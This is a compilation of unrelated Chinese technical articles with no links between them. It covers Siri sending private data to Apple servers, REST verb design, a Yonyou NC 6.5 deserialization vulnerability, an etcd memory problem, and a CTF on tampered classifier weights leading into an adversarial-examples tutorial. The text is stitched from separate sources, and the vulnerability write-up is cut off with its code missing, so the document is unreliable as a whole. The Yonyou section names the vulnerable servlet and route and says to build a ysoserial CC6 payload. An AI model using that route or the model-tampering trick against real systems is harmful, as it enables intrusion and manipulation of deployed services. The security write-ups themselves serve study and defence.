引子

云端大模型正日益提升人类生产力,与此同时,端侧智能领域也在不断突破技术瓶颈。现在,端侧大模型已成功落地手机终端,可在本地处理隐私数据,提供总结、命名等实用功能。但端侧智能的能力仍有提升空间,手机暂时无法完全摆脱对云端大模型的依赖,端云协同的范式仍然是未来很长一段时间内端侧智能的主旋律。

在这种背景下,当隐私数据需要上传至云端处理时,手机厂商该如何保障用户的数据安全呢?

让我们看看隐私保护领域的标杆——苹果的解决方案。2024年,苹果就已经推出了隐私云计算(Private Cloud Compute,简称PCC)的概念:

Apple Intelligence 是为 iPhone、iPad 和 Mac 带来强大生成模型的个人智能系统。对于需要使用大模型处理复杂数据的高级功能,我们创建了私有云计算 (PCC),这是一个专为私有 AI 处理而设计的突破性云智能系统。私有云计算首次将 Apple 设备业界领先的安全性和隐私保护扩展到云端,确保发送到 PCC 的个人数据除了用户本人之外,任何人都无法访问——甚至 Apple 也无法访问。PCC 采用定制的 Apple 芯片和专为隐私保护而设计的强化操作系统构建,我们相信它是迄今为止部署用于大规模云 AI 计算的最先进的安全架构。

看起来这确实是化解隐私数据出端被泄露风险的好办法。但关键在于,这项技术是否已经真正落地到苹果手机里?我们在使用云端的 AI 时,发送出去的内容真的只有我们自己能看到吗?

本文带大家分析 BH USA 2025/Defcon33 的议题:AppleStorm - Unmasking the Privacy Risks of Apple Intelligence,分析Siri 隐私数据出端可能导致的隐私泄露风险。

抓包

想要知道哪些数据被传输到云端了,我们必须能够抓到数据包。

这里可以看到,苹果 AI 相关服务器的一些主机地址:

image.png

大家可能发出疑问:为什么私有云计算和 Siri 是不同的主机地址?隐私云计算不就是为了保护Siri 的上云请求吗?这个问题的答案我们放在后面揭晓。

作者研究发现发送给 guzzoni.apple.com的数据包被做了多层防护,除了证书锁定,苹果还使用了自定义的名为ACE的通信协议,作者花了很大功夫进行协议解析,并且魔改了mitmproxy才成功抓到数据包。工具已开源

在数据包都能抓到以后,我们来看看不同的场景下,都有哪些数据被 Siri 上传到云端了,以及传输是否做好了加密。

隐私数据出端泄露风险

在开始测试之前,作者预先关闭了系统中的"学习应用习惯以提供智能建议"等个性化功能,避免非必要请求干扰测试,确保在使用 Siri 时捕获的数据包为最小必要集合。

场景一:上云功能

以天气查询为例,询问 Siri What is the weather in Las Vegas?,手机所在的经纬度位置、手机里的天气相关的 APP名称(甚至如果手机里安装了虚拟机,里面天气相关的 APP 都会被找出来)、手机播放列表正在播放的内容信息都会被发送给搜索服务的主机:api-glb-ause1c.smoot.apple.com。此外,手机里当前打开的 APP列表会被发送到听写请求服务器:guzzoni.apple.com。

一个简单的天气询问,提供给云端的信息量已经远远超出于解决该问题所需的内容。

image.png上述这些隐私数据,用户只能控制位置信息是否提供给 Siri,其他的隐私数据都是被悄悄发送到云端了。除了天气搜索外,在使用 Siri 进行计算、在线搜索、文章搜索时,也都会上传类似的数据。

并且,这些请求并没有经过隐私云计算处理,攻击者拦截到数据后可以轻易查看其中的内容。

场景二:端侧功能

对于发送消息、邮件、日历这些端侧功能,Siri 总没有必要再把数据传到云端了吧?

抓包发现,手机里当前打开的 APP列表和当前播放内容的信息仍然会被发送到 guzzoni.apple.com 这个听写服务器。更要命的是,在使用 Siri 发送消息的功能时,像发送 iMessage、发送消息到 WhatsApp,发送的信息的内容以及目标联系人,都会发送给 guzzoni.apple.com 一份。

风险总结如下:

image.png

风险来源与消解措施

隐私数据为什么上云?为什么 PCC 没落地?

苹果官方的回应是:上述 smoot 和 guzzoni 服务是给 Siri 用的,而不是 Apple Intelligence,PCC 是用来保护 Apple Intelligence的,像 Writing Tools、Extensions-ChatGPT这些功能。

PS:可是 Siri也能调用 Apple Intelligence的功能,这样同一个 APP有两条上云链路、两套隐私保护政策,本身就很不合理。

使用 Siri 发消息,为什么会传给云端?

实验证明是苹果给开发者提供的 SiriKit导致的问题,苹果后续将考虑修复该问题。

如何消解风险?

guzzoni听写服务对正常功能没有影响,可以屏蔽掉相关的请求(如果可能的话)。

启发

像苹果 Siri这种不安全的传输用户隐私数据的风险,应该是智能手机当前面临的共同问题。不管是为了提高用户的智能体验,亦或仅仅是上传了日志,都有可能在使用 AI 时不安全的上传了用户的隐私数据。

不管是苹果手机还是安卓手机,对系统级别 APP 抓包的管控越来越严格,安全研究人员和普通用户在使用 AI 时,对隐私数据使用透明化的需求越来越高。希望手机厂商在未来做好AI隐私数据使用的透明化和安全保护。

声明

本文所有内容仅供安全研究、教育和防御性安全测试使用。使用者需:

1遵守当地法律法规

2仅在授权环境中进行测试

3不得用于非法入侵或恶意攻击

4对使用后果自行承担责任

参考资料

1PCC 官方资料

2Apple 主机列表

3AppleStorm-Unmasking the Privacy Risks of Apple Intelligence

写这篇文章的原因主要还是因为V2EX上的这个贴子,这个贴子中说——

“对接同事的接口,他定义的所有接口都是 post 请求,理由是 https 用 post 更安全,之前习惯使用 restful api ,如果说 https 只有 post 请求是安全的话?那为啥还需要 get 、put 、delete ?我该如何反驳他。”

然后该贴中大量的回复大概有这么几种论调,1)POST挺好的,就应该这么干,沟通少,2)一把梭,早点干完早点回家,3)吵赢了又怎么样?工作而已,优雅不能当饭吃。虽然评论没有一边倒,但是也有大量的人支持。然后,我在Twitter上嘲讽了一下,用POST干一切就像看到了来你家装修工人说,“老子干活就是用钉子钉一切,什么螺丝、螺栓、卡扣、插销……通通不用,钉枪一把梭,方便,快捷,安全,干完早回家……不过,还是有一些网友觉得用POST挺好的,而且可以节约时间。所以,正好,我在《我做系统架构的原则》中的“原则五”中反对API返回码无论对错全是200的返回那,我专门写下这一篇文章,以正视听。

这篇文章主要分成下面这几个部分:

  1. 为什么要用不同的HTTP动词?
  2. Restful 进行复杂查询
  3. 几个主要问题的回应
    • POST 更安全吗?
    • 全用 POST 可以节省时间沟通少吗?
    • 早点回家的正确姿势
    • 工作而已,优雅不能当饭吃

目录

为什么要用不同的HTTP动词

编程世界通常来说有两种逻辑:“业务逻辑” 和 “控制逻辑”。

  • 业务逻辑。就是你实现业务需求的功能的代码,就是跟用户需求强相关的代码。比如,把用户提交的数据保存起来,查询用户的数据,完成一个订单交易,为用户退款……等等,这些是业务逻辑
  • 控制逻辑。就是我们用于控制程序运行的非功能性的代码。比如,用于控制程序循环的变量和条件,使用多线程或分布式的技术,使用HTTP/TCP协议,使用什么样数据库,什么样的中间件……等等,这些跟用户需求完全没关系的东西。

网络协议也是一样的,一般来说,几乎所有的主流网络协议都有两个部分,一个是协议头,一个是协议体。协议头中是协议自己要用的数据,协议体才是用户的数据。所以,协议头主要是用于协议的控制逻辑,而协议体则是业务逻辑。

HTTP的动词(或是Method)是在协议头中,所以,其主要用于控制逻辑。

下面是HTTP的动词规范,一般来说,REST API 需要开发人员严格遵循下面的标准规范(参看RFC7231 章节4.2.2 – Idempotent Methods

方法 描述 幂等
GET 用于查询操作,对应于数据库的 select 操作 ✔︎
PUT 用于所有的信息更新,对应于数据库的 update 操作 ✔︎︎
DELETE 用于更新操作,对应于数据库的 delete 操作 ✔︎︎
POST 用于新增操作,对应于数据库的 insert 操作
HEAD 用于返回一个资源对象的“元数据”,或是用于探测API是否健康 ✔︎
PATCH 用于局部信息的更新,对应于数据库的 update 操作
OPTIONS 获取API的相关的信息。 ✔︎

其中,PUT 和 PACTH 都是更新业务资源信息,如果资源对象不存在则可以新建一个,但他们两者的区别是,PUT 用于更新一个业务对象的所有完整信息,就像是我们通过表单提交所有的数据,而 PACTH 则对更为API化的数据更新操作,只需要更需要更新的字段(参看 RFC 5789 )。

当然,现实世界中,可能并不一定严格地按照数据库操作的CRUD来理解API,比如,你有一个登录的API /login 你觉得这个API应该是 GETPOSTPUT 还是 PATCH ?登录的时候用户需要输入用户名和密码,然后跟数据库里的对比(select操作)后反回一个登录的session token,然后这个token作为用户登录的状态令牌。如果按上面表格来说,应该是 select 操作进行 GET ,但是从语义上来说,登录并不是查询信息,应该是用户状态的更新或是新增操作(新增session),所以还是应该使用 POST,而 /logout 你可以使用 DELETE这里相说明一下,不要机械地通过数据库的CRUD来对应这些动词,很多时候,还是要分析一下业务语义。

另外,我们注意到,在这个表格的最后一列中加入了“是否幂等”的,API的幂等对于控制逻辑来说是一件很重要的事。所谓幂等,就是该API执行多次和执行一次的结果是完全一样的,没有副作用。

  • POST 用于新增加数据,比如,新增一个交易订单,这肯定不能是幂等的
  • DELETE 用于删除数据,一个数据删除多次和删除一次的结果是一样的,所以,是幂等的
  • PUT 用于全部数更新,所以,是幂等的。
  • PATCH用于局部更新,比如,更新某个字段 cnt = cnt+1,明显不可能是幂等操作。

幂等这个特性对于远程调用是一件非常关键的事,就是说,远程调用有很多时候会因为网络原因导致调用timeout,对于timeout的请求,我们是无法知道服务端是否已经是收到请求并执行了,此时,我们不能贸然重试请求,对于不是幂等的调用来说,这会是灾难性的。比如像转帐这样的业务逻辑,转一次和转多次结果是不一样的,如果重新的话有可能就会多转了一次。所以,这个时候,如果你的API遵从了HTTP动词的规范,那么你写起程序来就可以明白在哪些动词下可以重试,而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话,就完全失控了。

除了幂等这样的控制逻辑之外,你可能还会有如下的这些控制逻辑的需求:

  • 缓存。通过CDN或是网关对API进行缓存,很显然,我们要在查询GET 操作上建议缓存。
  • 流控。你可以通过HTTP的动词进行更粒度的流控,比如:限制API的请用频率,在读操作上和写操作上应该是不一样的。
  • 路由。比如:写请求路由到写服务上,读请求路由到读服务上。
  • 权限。可以获得更细粒度的权限控制和审计。
  • 监控。因为不同的方法的API的性能都不一样,所以,可以区分做性能分析。
  • 压测。当你需要压力测试API时,如果没有动词的区分的话,我相信你的压力测试很难搞吧。
  • ……等等

也许,你会说,我的业务太简单了,没有必要搞这么复杂。OK,没有问题,但是我觉得你最差的情况下,也是需要做到“读写分离”的,就是说,至少要有两个动词,GET 表示是读操作,POST表示是写操作。

Restful 复杂查询

一般来说,对于查询类的API,主要就是要完成四种操作:排序,过滤,搜索,分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档,Microsoft REST API GuidelinesPaypal API Design Guidelines

  • 排序。对于结果集的排序,使用 sort 关键字,以及 {field_name}|{asc|desc},{field_name}|{asc|desc} 的相关语法。比如,某API需要返回公司的列表,并按照某些字段排序,如:GET /admin/companies?sort=rank|asc 或是 GET /admin/companies?sort=rank|asc,zip_code|desc

  • 过滤。对于结果集的过滤,使用 filter 关键字,以及 {field_name} op{value} 的语法。比如: GET /companies?category=banking&location=china 。但是,有些时候,我们需要更为灵活的表达式,我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作:=<><=>=,以及三个逻辑操作:andornot。(表达式中的一些特殊字符需要做一定的转义,比如:>= 转成 ge)于是,我们就会有如下的查询表达式:GET /products?$filter=name eq 'Milk' and price lt 2.55 查找所有的价柗小于2.55的牛奶。

  • 搜索。对于相关的搜索,使用 search 关键字,以及关键词。如:GET /books/search?description=algorithm 或是直接就是全文搜索 GET /books/search?key=algorithm

  • 分页。对于结果集进行分页处理,分页必需是一个默认行为,这样不会产生大量的返回数据。


    • 使用pageper_page代表页码和每页数据量,比如:GET /books?page=3&per_page=20
    • 可选。上面提到的page方式为使用相对位置来获取数据,可能会存在两个问题:性能(大数据量)与数据偏差(高频更新)。此时可以使用绝对位置来获取数据:事先记录下当前已获取数据里最后一条数据的ID时间等信息,以此获取 “该ID之前的数据” 或 “该时刻之前的数据”。示例:GET /news?max_id=23454345&per_page=20 或 GET /news?published_before=2011-01-01T00:00:00Z&per_page=20

注意:这里需要注意一下,在理论上来说GET是可以带 body 的,但是很多程序的类库或是中间件并不支持 GET 带 body,导致你只能用 POST 来传递参数。这里的原则是:

  1. 对于简单的查询,很多参数都设计在 restful API 的路径上了,而 filter/sort/pagination 也不会带来很多的复杂,所以应该使用 GET 

  2. 对于复杂的查询来说,可能会有很复杂的查询参数,比如:ElasticSearch 上的 index/_search里的 DSL,你也应该尽可能的使用 GET,而不是POST 除非客观条件上不支持GET。ElasticSearch 的官方文档里也是这么说的。

The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. (我们推荐使用 GET而不是 POST,因为语义更清楚)However, because GET with a request body is not universally supported, the search API also accepts POST requests (除非你的类库或是服务器不支持 GET带参数 ,你再用POST,我们两个都支持)

陈皓注:但是在 ElasticSearch 7.11 后,GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。

另外,对于一些更为复杂的操作,建议通过分别调用多个API的方式来完成,虽然这样会增加网络请求的次数,但是这样的可以让后端程序和数据耦合度更小,更容易成为微服务的架构。

最后,如果你想在Rest中使用像GraphQL那样的查询语言,你可以考虑一下类似 OData 的解决方案。OData 是 Open Data Protocol 的缩写,最初由 Microsoft 于 2007 年开发。它是一种开放协议,使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。

几个主要问题的回应

下面是对几个问题的直接回应,如果大家需要我回应更多的问题,可以在后面留言,我会把问题和我的回应添加到下面。

1)为什么API 要Restful,并符合规范?

Restful API算是一个HTTP的规范和标准了,你要说是最佳实践也好,总之,它是一个全世界对HTTP API的一个共识。在这个共识上,你可以无成本地享受很多的技术红利,比如:CDN,API网关,服务治理,监控……等等。这些都是可以让你大幅度降低研发成本,避免踩坑的原因。

2)为什么“过早优化”不适用于API设计?

因为API是一种契约,一旦被使用上,就很难再变更了,就算你发行新的版本的API,你还要驱动各种调用方升级他们的调用方式。所以,接口设计就像数据库模式设计一下,一旦设计好了,未来再变更就比较难了。所以,还是要好好设计。正如前面我给的几个文档——Microsoft REST API GuidelinesPaypal API Design Guidelines 或是 Google API Design Guide 都是让你好好设计API的不错的 Guidelines.

3)POST 更安全吗?

不会。

很多同学以为 GET 的请求数据在URL中,而 POST 的则不是,所以以为 POST 更安全。不是这样的,整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS,就是安全的。当然,有些网关如nginx会把URL打到日志中,或是会放在浏览器的历史记录中,所以有人会说 GET 请求不安全,但是,POST 也没有好到哪里去,在 CSRF 这个最常见的安全问题上,则完全就是针对 POST 的。  安全是一件很复杂的事,无论你用哪方法或动词都会不能代表你会更安全。

另外,

  • 如果你要 防止你的 GET 上有敏感信息,应该加个密,这个跟 POST是一样的。
  • 如果你要防止 GET 会被中间人修改,你应该做一个URL签名。(通常来说, 我们都在 GET 上做签名,POST 就忘做了)
  • 如果你要防止有人发一些恶意链接来 hack 你的用户(传说中的 GET 不如 POST 安全的一个问题),你应该用 HMAC 之类的认证技术做好认证(参看 HTTP API 认证授权术)。

总之,你要明白,GETPOST 的安全问题都一样的,不要有谁比谁更安全,然后你就可以掉以轻心的这样的想法,安全都是要很严肃对待的。

4)全用 POST 可以节省时间减少沟通吗?

不但不会,反而更糟糕。

说这种话的人,我感觉是不会思考问题。

  • 其一,为API赋于不同的动词,这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发,比如Spring Boot,写数据库的CRUD基本上就不需要写SQL语言相关的查询代码,非常之方便。
  • 其二,使用规范的方式,可以节约新加入团队人员的学习成本,而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的,这个我们整个人类进行协作的基础。所以,这个世界上有很多的标准,你只要照着这个标准来,你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。
  • 其三,全用POST接口一把梭,不规范不标准,使用你的这个山寨API的人就得来不断的问你,反而增加了沟通。另外,也许你开发业务功能很快了,但是你在做控制逻辑的时候,你就要返工了,从长期上来讲,你的欠下了技术债,这个债反而导致了更大的成本。
5)早点回家的正确姿势

不要以为你回家早就没事了,如果你的代码有这样那样的问题,别人看懂,或是出误用了你的代码出了问题,那么,你早回家有什么意义呢?你一样要被打扰,甚至被叫到公司来处理问题。所以,你应该做的是为了“长期的早回家”,而不是“短期的早回家”,要像长期的早回家,通常来说是这样的:

  • 把代码组织设计好,有更好的扩展性。这样在面对新需求的时候,你就可以做到少改代码,甚至不改代码。这样你才可能早回家。不然,每次需求一来,你得重新写,你怎么可能早回家?
  • 你的代码质量是不错的,有不错的文档和注释。所以,别人不会老有问题来找你,或是你下班后,叫你来处理问题。甚至任何人都可以很容易地接手你的代码,这样你才可能真正不被打扰
6)工作而已,优雅不能当饭吃

回应两点:

其一,遵循个规范而已,把“正常”叫“优雅”,可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。

其二,作为一个“职业程序员”,要学会热爱和尊重自己的职业,热爱自己职业最重要的就是不要让外行人看扁这个职业,自己都不尊重这个职业,你让别人怎么尊重?尊重自己的职业,不仅仅只是能够获得让人羡慕的报酬,而更是要让自己的这个职业的更有含金量

希望大家都能尊重自己从事的这个职业,成为真正的职业化的程序员,而不是一个码农!

你的工作给你权力,而只有你的行为才会给你尊重

漏洞介绍

用友NC系统UserSynchronizationServlet方法存在反序列化漏洞,攻击者可执行任意命令,获取敏感信息。

影响版本

用友NC6.5

漏洞分析

漏洞位于nc.bs.pub.im.UserSynchronizationServlet接口

漏洞代码:

很明显的反序列化漏洞, 接收POST请求时,读取了输入流,之后对输入流方法进行in.readObject()造成了反序列化漏洞

接下来构造请求URL,要调用UserQueryServiceServlet类,只要在请求路由加上/~包名称+UserSynchronizationServlet类的完整路径即可

查看系统的Web.xml,可以看见请求/service和/servlet前缀的都经过NCInvokerServlet方法处理

NCInvokerServlet接口的doAction方法如下:

主要功能是获得url路径后,如果是以/~开头,截取第一部分为moduleName,然后再截取第二部分为serviceName,再根据getServiceObject(moduleName, serviceName)实现任意Servlet的调用。

这里包名称是uapim,再加上方法的完整路径就能进行请求了

所以这里的路由为:

用友反序列化漏洞存在cc依赖,这里就直接使用ysoserial-all.jar生成cc6的利用链请求dnslog,保存到本地的c.bin文件中

漏洞复现

今天跟大家分享一个etcd的内存大量占用的问题,这是前段时间在我们开源软件Easegress中遇到的问题,问题是比较简单的,但是我还想把前因后果说一下,包括,为什么要用etcd,使用etcd的用户场景,包括etcd的一些导致内存占用比较大的设计,以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题,还能让你有更多的收获。当然,也欢迎您关注我们的开源软件,给我们一些鼓励。

为什么要用ETCD

先说一下为什么要用etcd。先从一个我们自己做的一个API网关 – Easegress(源码)说起。

Easegress 是我们开发并开源的一个API应用网关产品,这个API应用网关不仅仅只是像nginx那样用来做一个反向代理,这个网关可以做的事很多,比如:API编排、服务发现、弹力设计(熔断、限流、重试等)、认证鉴权(JWT,OAuth2,HMAC等)、同样支持各种Cloud Native的架构如:微服务架构,Service Mesh,Serverless/FaaS的集成,并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以,为了达到这些目标,在2017年的时候,我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的,必需重新写一个(后来其他人也应该跟我们的想法一样,所以,Lyft写了一个Envoy。只不过,Envoy是用C++写的,而我用了技术门槛更低的Go语言)

另外,Easegress最核心的设计主要有三个:

  • 一是无第三方依赖的自己选主组集群的能力
  • 二是像Linux管道命令行那样pipeline式的插件流式处理(支持Go/WebAssembly)
  • 三是内置一个Data Store用于集群控制和数据共享。

对于任何一个分布式系统,都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制,并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据,以保证整个集群的行为是统一一致的。如果没有这么一个东西的话,就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意,Zookeeper他们主要不是给你存数据的,而是给你组集群的。

Zookeeper是一个很流行的开源软件,也被用于各大公司的生产线,包括一些开源软件,比如:Kafka。但是,这会让其它软件有一个依赖,并且在运维上带来很大的复杂度。所以,Kafka在最新的版本也通过内置了选主的算法,而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力,也是kubernetes组建集群的关键组件。Easegress在一开始(5年前)使用了gossip协议同步状态(当时想的过于超前,想做广域网的集群),但是后发现这个协议太过于复杂,而且很难调试,而广域网的API Gateway也没遇到相应的场景。所以,在3年前的时候,为了稳定性的考量,我们把其换成了内嵌版本的etcd,这个设计一直沿用到今天。

Easegress会把所有的配置信息都放到etcd里,还包括一些统计监控数据,以及一些用户的自定义数据(这样用户自己的plugin不但可以在一条pipeline内,还可以在整个集群内共享数据),这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标,尤其是开源软件更要想方设法降低技术门槛让技术易扩展,这就是为什么Google的很多开源软件都会选使用Go语言的原因,也是为什么Go正在取代C/C++的做PaaS基础组件的原因。

背景问题

好了,在介绍完为什么要用etcd以后,我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候,在Easegress内配置了上千条pipeline,导致 Easegress的内存飙升的非常厉害- 10+GB 以上,而且长时间还下不来。

用户报告的问题是——

在Easegress 1.4.1 上创建一个HTTP对象,1000个Pipeline,在Easegres初始化启动完成时的内存占用大概为400M,运行80分钟后2GB,运行200分钟后达到了4GB,这期间什么也没有干,对Easegress没有进行过一次请求。

一般来说,就算是API再多也不应该配置这么多的处理管道pipeline的,通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的,就像nginx下的location的配置,一般来说不会太多的。但是,在用户的这个场景下配置了上千个pipeline,我们也是头一次见,应该是用户想做更细粒度的控制。

经过调查后,我们发现内存使用基本全部来自etcd,我们实在没有想到,因为我们往etcd里放的数据也没有多少个key,感觉不会超过10M,但不知道为什么会占用了10GB的内存。这种时候,一般会怀疑etcd有内存泄漏,上etcd上的github上搜了一下,发现etcd在3.2和3.3的版本上都有内存泄露的问题,但都修改了,而 Easegress 使用的是3.5的最新版本,另外,一般来说内存泄漏的问题不会是这么大的,我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd,那么只有一条路了,沉下心来,把etcd的设计好好地看一遍。

大概花了两天左右的时间看了一下etcd的设计,我发现了etcd有下面这些消耗内存的设计,老实说,还是非常昂贵的,这里分享出来,避免后面的同学再次掉坑。

首当其冲是——RaftLog。etcd用Raft Log,主要是用于帮助follower同步数据,这个log的底层实现不是文件,而是内存。所以,而且还至少要保留 5000 条最新的请求。如果key的size很大,这 5000条就会产生大量的内存开销。比如,不断更新一个 1M的key,哪怕是同一个key,这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过  issue #12548 ,不过,这个问题不了了之了。这个5000还是一个hardcode,无法改。(参看 DefaultSnapshotCatchUpEntries 相关源码

// DefaultSnapshotCatchUpEntries is the number of entries for a slow follower
// to catch-up after compacting the raft storage entries.
// We expect the follower has a millisecond level latency with the leader.
// The max throughput is around 10K. Keep a 5K entries is enough for helping
// follower to catch up.
DefaultSnapshotCatchUpEntries uint64 = 5000

另外,我们还发现,这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000,我们估计etcd官方团队也意识到10000有点太耗内存了,所以,降了一半,但是又怕follwer同步不上,所以,保留了 5000条……(在这里,我个人感觉还有更好的方法,至少不用全放在内存里吧……)

另外还有下面几项也会导致etcd的内存会增加

  1. 索引。etcd的每一对 key-value 都会在内存中有一个 B-tree 索引。这个索引的开销跟key的长度有关,etcd还会保存版本。所以B-tree的内存跟key的长度以及历史版本号数量也有关系。
  2. mmap。还有,etcd 使用 mmap 这样上古的unix技术做文件映射,会把他的blotdb的内存map到虚拟内存中,所以,db-size越大,内存越大。
  3. Watcher。watch也会占用很大的内存,如果watch很多,连接数多,都会堆积内存。

(很明显,etcd这么做就是为了一个高性能的考虑)

Easegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因,对于索引和mmap,使用 etcd 的 compact 和 defreg (压缩和碎片整理应该可以降低内存,但用户那边不应该是这个问题的核心原因)。

针对用户的问题,大约有1000多条pipeline,因为Easegress会对每一条pipeline进行数据统计(如:M1, M5, M15, P99, P90, P50等这样的统计数据),统计信息可能会有1KB-2KB左右,但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中,这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key,而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景,所以,这个内存问题没有暴露出来。

于是,我们最终的解决方案也很简单,我们修改我们的策略,不再写这么大的Value的数据了,虽然以前只写在一个key上,但是Key的值太大,现在把这个大Key值拆分成多个小的key来写,这样,实际保存的数据没有发生变化,但是RaftLog的每条数据量就小了,所以,以前是5000条 2M(10GB),现在是5000条 1K(500MB),就这样解决了这个问题。相关的PR在这里 PR#542

总结

要用好 etcd,有如下的实践

  • 避免大尺寸的key和value,一方面会通过一个内存级的 Raft Log 占大量内存,另一方面,B-tree的多版本索引也会因为这样耗内存。
  • 避免DB的尺寸太大,并通过 compact和defreg来压缩和碎片整理降低内存。
  • 避免大量的Watch Client 和 Watch数。这个开销也是比较大的。
  • 最后还有一个,就是尽可能使用新的版本,无论是go语言还是etcd,这样会少很多内存问题。比如:golang的这个跟LInux内核心相关的内存问题 —— golang 1.12的版sget的是 MADV_FREE 的内存回收机制,而在1.16的时候,改成了 MADV_DONTNEED ,这两者的差别是,FREE表示,虽然进程标记内存不要了,但是操作系统会保留之,直到需要更多的内存,而 DONTNEED 则是立马回收,你可以看到,在常驻内存RSS 上,前者虽然在golang的进程上回收了内存,但是RSS值不变,而后者会看到RSS直立马变化。Linux下对 MADV_FREE 的实现在某些情况下有一定的问题,所以,在go 1.16的时候,默认值改成了 MADV_DONTNEED 。而 etcd 3.4 是用 来1.12 编译的。

最后,欢迎大家关注我们的开源软件! https://github.com/megaease/ 

我们首先用一道题目来引出今天的话题。

0xGame 2025 Week4 - 旧吊带袜天使:想吃真蛋糕的Stocking

题目提供了一个基于PyTorch的CNN图像分类模型 SimpleDessertClassifier,用于识别三种类型的甜点:

模型结构:

卷积层: 提取图像特征(3→32→64→128通道)

自适应池化: 统一输出为7×7特征图

全连接层: 128×7×7 → 256 → 128 → 3(三类输出)

图片.png

在PyTorch的state_dict中,最后一层(输出层)的参数命名为:

'classifier.5.weight': 形状 (3, 128) - 权重矩阵

'classifier.5.bias': 形状 (3,) - 偏置向量

在app.py中的判断逻辑:

我们要想拿到flag必须满足一下条件

cake_confidence < 24 - 蛋糕的置信度小于24

poisoned_apple_confidence > cake_confidence - 毒苹果置信度大于蛋糕置信度

模型上传接口

检查了文件扩展名,使用了weights_only加载,但是没有验证模型参数的合理性,这就是漏洞点。

根据PyTorch官方文档,load_state_dict要求:

键名必须完全匹配

张量形状必须完全匹配

这使得我们可以精确控制模型参数,特别是输出层的参数。

核心思路

1CNN卷积层和中间层难以预测和控制

2但输出层(最后一个Linear层)直接影响三个类别的logits输出

3通过操纵输出层的weight和bias,可以直接控制各类别的置信度

数学原理:

如果我们设:

weight = 0 (全零矩阵)

bias = [-10.0, 10.0, 0.0]

则:

Cake logit ≈ -10.0 (置信度极低)

Poisoned Apple logit ≈ 10.0 (置信度极高)

Other logit ≈ 0.0 (置信度中等)

这样就满足了获取flag的条件。

神经网络输出层机制

在PyTorch中,未经softmax的输出称为logits:

Softmax转换:

当差异较大时:

logit_poison = 10.0 → exp(10) ≈ 22026

logit_cake = -10.0 → exp(-10) ≈ 0.000045

poison_confidence ≈ 99.99%

cake_confidence ≈ 0.0002%

满足 cake_confidence < 24 和 poisoned_apple_confidence > cake_confidence。

exp

图片.png

第一次遇到模型污染攻击的题目,我们来总结一下AI样本对抗的一些内容和知识点。

一、对抗性威胁

1.1 问题背景

2014年,Szegedy等人首次发现了一个令人震惊的现象:深度神经网络对输入数据的微小扰动异常敏感[1]。通过在图像上添加精心设计的扰动,这些扰动在人类观察者看来几乎不可察觉,却能让分类器的准确率从90%以上骤降至接近0%。这一发现揭开了对抗性机器学习研究的序幕。

图片.png

更令人担忧的是,对抗样本具有迁移性(Transferability)——在某一个模型上生成的对抗样本,往往能够成功攻击其他架构完全不同的模型。这一特性使得对抗攻击在实际应用场景中构成严重威胁。

1.2 现实威胁案例

自动驾驶系统:研究者通过在停车标志上添加精心设计的贴纸,成功欺骗目标检测模型将其识别为限速标志[2]。这种物理对抗攻击直接威胁道路交通安全。

图片.png

人脸识别系统:通过佩戴特殊设计的眼镜框,攻击者可以绕过基于深度学习的人脸验证系统[3]。这种对抗性眼镜的图案对人类观察者而言只是普通的装饰,但对神经网络而言却是致命的扰动。

恶意软件检测:对抗样本技术已被应用于恶意PDF文件的生成,使得能够绕过基于机器学习的检测系统[4]。这表明对抗性威胁不仅限于视觉领域。

1.3 对抗样本的定义

图片.png

二、对抗样本的产生机理

2.1 线性假设解释

图片.png

2.2 决策边界理论

从决策边界(Decision Boundary)的角度看,对抗样本反映了模型决策边界的扭曲特性。在高维空间中,决策边界的复杂度远超人类直觉。

研究表明,深度神经网络的决策边界呈现出"指状突起"(Finger-like protrusions)结构[6]。这些细长的突起深入到各个类别的区域,使得在任何数据点附近都存在通往其他类别的低扰动路径。

2.3 流形视角

另一种解释基于数据流形(Manifold)理论。自然图像在高维像素空间中实际上分布在一个低维流形上。深度神经网络学习的是这个流形上的概率分布。

对抗样本位于流形之外,但非常接近流形表面。模型在流形之外的区域行为不可控,容易被扰动误导。这类似于"分布外泛化"(Out-of-Distribution Generalization)问题。

三、经典攻击算法详解

3.1 梯度类攻击方法

3.1.1 FGSM(Fast Gradient Sign Method)

FGSM是最早的一阶攻击方法,由Goodfellow在2015年提出[5]。核心思想是沿损失函数的梯度方向进行最大化扰动:

图片.png

图片.png

FGSM的优势:

计算高效,仅需一次前向和反向传播

扰动可控

在黑盒场景下具有较好的迁移性

局限性:

单步攻击容易被对抗训练防御

扰动幅度受限时成功率较低

3.1.2 I-FGSM(Iterative FGSM)

I-FGSM通过多次迭代应用FGSM,每次迭代使用较小的步长:

图片.png

I-FGSM显著提升了攻击成功率,但迁移性有所下降。

3.1.3 MI-FGSM(Momentum I-FGSM)

